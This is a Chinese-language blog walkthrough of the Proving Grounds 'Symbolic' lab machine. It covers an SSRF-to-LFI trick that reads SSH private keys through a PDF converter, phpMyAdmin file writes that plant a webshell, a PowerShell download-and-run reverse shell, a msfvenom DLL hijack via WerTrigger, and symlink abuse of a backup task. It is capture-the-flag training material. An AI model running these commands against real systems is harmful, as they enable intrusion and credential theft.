Proving Grounds Practice : Symbolic Walkthrough

 Proving Grounds Practice : Symbolic Walkthrough


Foothole (立足點 ) :

  • Port Scan 只有開兩個 Port,80 是一個網頁轉 PDF 的線上工具
  • 知道網站是用 php 語法建立,寫一個標準的讀 PDF 的 LFI 利用去讀到使用者的 id_rsa

PE ( 提權 ) :

  • 這一題有許多提權解法,但是主機名稱叫做 Symbolic 表示要我們利用這個手法
  • 下載無須 administrator 的 "CerateSymlink.exe" 工具建立 Symbolic Link
  • 利用管理者備份的權限讀取管理者的 id_rsa 後 ssh 登入

注意事項 : 

  • 網頁的使用者名稱很特別
  • PE 有許多手法可以達成
    • phpmyadmin 上傳 webshell 然後透過 powershell 建立 reverse shell
    • 透過 MySQL 使用 phoneinfo.dll payload 並執行 WerTrigger.exe 來達到 Reverse shell
    • 透過 MySQL 直接讀取 administrator 的 id_rsa Private Key 然後 ssh 登入
    • 透過 Symbolic Link 利用本機的備份讀取 administrator 的 id_rsa Private Key 然後 ssh 登入


第一步 Rustscan,└─$ rustscan -a 192.168.156.177 --scripts none --ulimit 5000 | tee rustscan

少見的只有兩個 Port,不是很難就是很簡單



snmp filtered 沒戲,└─$ sudo nmap -sU -Pn -p 161 192.168.156.177 | tee snmp



nmap,└─$ sudo nmap -sCV -A -Pn -p 22,80 192.168.156.177 | tee nmap

22 SSH 看來是一台 Windows

80 Apache httpd 2.4.48

|_http-title: WebPage to PDF : 從 Title 來看是個線上轉 PDF 網站



whatweb,是個 php 網站



80 /

Power by WkhtmltoPdf

Webpage to PDF Converter by p4yl0ad 這句話有貓膩,那個 p4ly0ad 看來是個帳號

看來是個可上傳利用或是送出驗證讓你抓的網站



80 /robots.txt



gobuster



80 /logs



request.log 檔案沒有任何內容



80 /pdfs 沒有任何東西



做一個 test.html 檔案內容如下



Kali 起 HTTP Service 輸入試試看



真的有來抓也顯示了一個 PDF

路徑顯示 : http://192.168.156.177/pdfs/9d4152f6e842ac1b07b42d16ae9faa78.pdf



80 /pdfs 路徑也有看到該檔案了



參考這個 SSRF to LFI 漏洞利用,一樣是透過讀 PDF 檔案的方式改去讀 Local 的檔案

https://zeroday.hitcon.org/vulnerability/ZD-2021-00781



寫一個 php 檔案去讀靶機的 local 檔案

在 linux 我們知道第一個要讀的都是 /etc/passwd 但這裡靶機是 Windows

且在前面有掃到這一台 Windows 有開 SSH Port,所以思考方向與 Linux 相同

就是去讀讀看有沒有使用者的 SSH Key,都是放在使用者目錄的 .ssh 底下

在 Windows 中路徑就是 c:\users\<使用者>\.ssh\id_rsa

在 80 網站首頁可以看到一個看來是使用的帳號 p4yl0ad

所以 php 檔案的寫法如下

<?php

header('Location: file:///Users/p4yl0ad/.ssh/id_rsa');

?>



接著在靶機的網頁輸入 http://<kali IP>/index.php 去讀讀看

這裡 try & error 了好多失敗,最後是成功了但有幾個要特別注意的地方

 - index.php 檔案要用 kali 本身其他存在的 php 檔案去編改,不要用文字檔新增去編寫

 - 靶機來抓的時候用 python 起的 HTTP Server 會跳 Error


 - 一定要起 Apache Server,因為預設網站才會跑 PHP 語言

一模一樣的檔案,上面用 Python 起的 HTTP Server 就失敗,最後跳 Error

下面用 Apache 服務啟動的 HTTP Server 才會成功

kali 起 Apache 很簡單,先安裝再啟動服務即可,兩行指令搞定

sudo apt install -y apache2 php 

service apache2 start



- 網頁怎麼輸入都沒有成功,最後用 curl 去打成功了如下,指令 └─$ curl -i -s -k -XPOST --data-binary 'url=192.168.45.224%2Findex.php' 'http://192.168.156.177/Process.php' 

可以看到順利升成的 PDF 檔案


內容就是 Private Key



將 Private Key 另存到 kali 取名叫 p4yl0ad.key 然後 SSH 試試看

└─$ ssh -i p4yl0ad@192.168.156.177,進去了



開始 PE,whoami /priv,看來沒有可利用的權限


winPEAS 相關資訊
沒有 LAPS


發現 administrator 帳號有在登入


BackupLogService 自動執行


匯入 PrivescCheck.ps1,參考 : https://github.com/itm4n/PrivescCheck
查看該服務的權限




在 C:\ 路徑下發現兩個有趣的資料夾 backup & xampp


backup 通常都是有 SAM & SYSTEM 的梗,這裡發現沒有但是有一個 backup.ps1

看一下內容發現是每 60 秒從 "C:\xampp\htdocs\logs\request.log" 備份到 "C:\backup\logs"

然後使用當下時間格式命名檔案



先放著繼續看 xmapp 資料夾發現有 phpmyadmin



有個 passowrd.txt 的檔案內容如下,發現 MySQL 用 Root 但不用密碼



現在有三個攻擊面向

1. phpmyadmin 直接利用

2. MySQL 看看有無可利用的地方

3. Backup.ps1 用 Administrator 權限執行


從簡單的下手先搭建 chisel 看看 phpmyadmin

不用密碼直接進去了



直接做一個 upload 的 php

SELECT 
"<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo \'<b>Upload Failed.</b><br><br>\'; }}?>"
INTO OUTFILE 'C:/xampp/htdocs/uploader.php';



確認 uploader.php 新增成功



有點問題,先暫時放棄



改使用現成的 webshell 試試看

參考 : https://github.com/WhiteWinterWolf/wwwolf-php-webshell

複製到 xampp 根目錄下,select load_file('C:\\\\users\\p4yl0ad\\desktop\\webshell.php') into dumpfile 'C:\\\\xampp\\htdocs\\webshell.php';



webshell.php



執行 Powershell 建立 Reverse Shell

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.224:8088/tools/powercat.ps1'); powercat -c 192.168.45.224 -p 4444 -e powershell"




進來了,whoami 確認是管理者沒有問題




改嘗試看看第二個攻擊路徑, chisel 改 mapping MySQL,└─$ mysql -h 127.0.0.1 -u root -p

登入後 select version(); 看看,確認沒問題



直接抓 flag 看看,select load_file('C:\\\\Users\\Administrator\\Desktop\\proof.txt');

直接成功了,所以看來 MySQL 的權限是管理者



但是考試的時候要拿到管理者權限才算,所以利用學過的技巧先看一下 phoneinfo.dll 是否存在

icacls c:\windows\system32\phoneinfo.dll,看來該台機器不存在該檔案



Windows 提權最好用的網站 : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---privileged-file-write

當中的 dll 利用 : https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#usodllloader

接下來利用這個,這是利用 phoneinfo.dll 來建立 reverse shell



建立 dll payload,└─$ msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.224 LPORT=4446 -f dll -o phoneinfo.dll



參考 : https://github.com/sailay1996/WerTrigger

上傳 Report.wer、WerTrigger.exe 與 payload



透過 MySQL 的權限將檔案搬到 C:\windows\system32 底下

select load_file('C:\\\\users\\p4yl0ad\\desktop\\phoneinfo.dll') into dumpfile 'C:\\\\Windows\\system32\\phoneinfo.dll';

看來有權限可以寫入沒有問題



一樣 icacls c:\windows\system32\phoneinfo.dll 確認一下,然後執行 WerTrigger.exe



4446 Reverse Shell 進來了,whoami 確認是管理者



逛了一下靶機發現原來 administrator 也有 .ssh 資料夾,底下也有 id_rsa Private Key

另外一種提權方式是透過 MySQL 去讀該檔案

select load_file('C:\\\\Users\\Administrator\\.ssh\\id_rsa');



測試看看,└─$ ssh -i administrator.key administrator@192.168.156.177

一樣成功登入了


由於已知 administrator 也有 Private Key 可以透過 SSH 登入

所以想到第三個攻擊向量,可以將重點放在如何透過備份 Log 拿到 Private Key

用到的手法是 symbolic link,簡單講就是物件導向

已知備份的路徑是從 "C:\xampp\htdocs\logs\request.log" 備份到 "C:\backup\logs"

先看一下權限 icacls "C:\xampp\htdocs\logs",確認現有使用者有 (F) 權限





切換到該路徑下然後先刪除現有的 request.log




直接用 Symbolic Link 將原有的 request.log mapping 到 administrator 的 Private Key

New-Item -ItemType SymbolicLink -Path "C:\xampp\htdocs\logs\request.log" -Target "C:\Users\Administrator\.ssh\id_rsa"

Access Deny.......沒有權限 GG



後來使用這個工具 symboliclink-testing-tools 看名稱是個測試工具

簡單講就是實現跟 Symbolic Link 一樣的方式,但是不需要 Administrator 的權限

但是用法與指令要學一下,參考 : https://github.com/googleprojectzero/symboliclink-testing-tools



下載後解壓縮裡面有許多工具,要用到的工具名稱是 "CerateSymlink.exe" 這一支

上傳到靶機後執行指令 .\CreateSymlink.exe "C:\xampp\htdocs\logs\request.log" "C:\Users\Administrator\.ssh\id_rsa"




每 60 秒會執行一次,所以切換到 C:\backup\logs 路徑等一下,然後 dir 就可以看到最新的檔案

讀取該檔案就可以看到 Private Key



跟上面一樣存成檔案然後 ssh -i 就可以登入了


留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)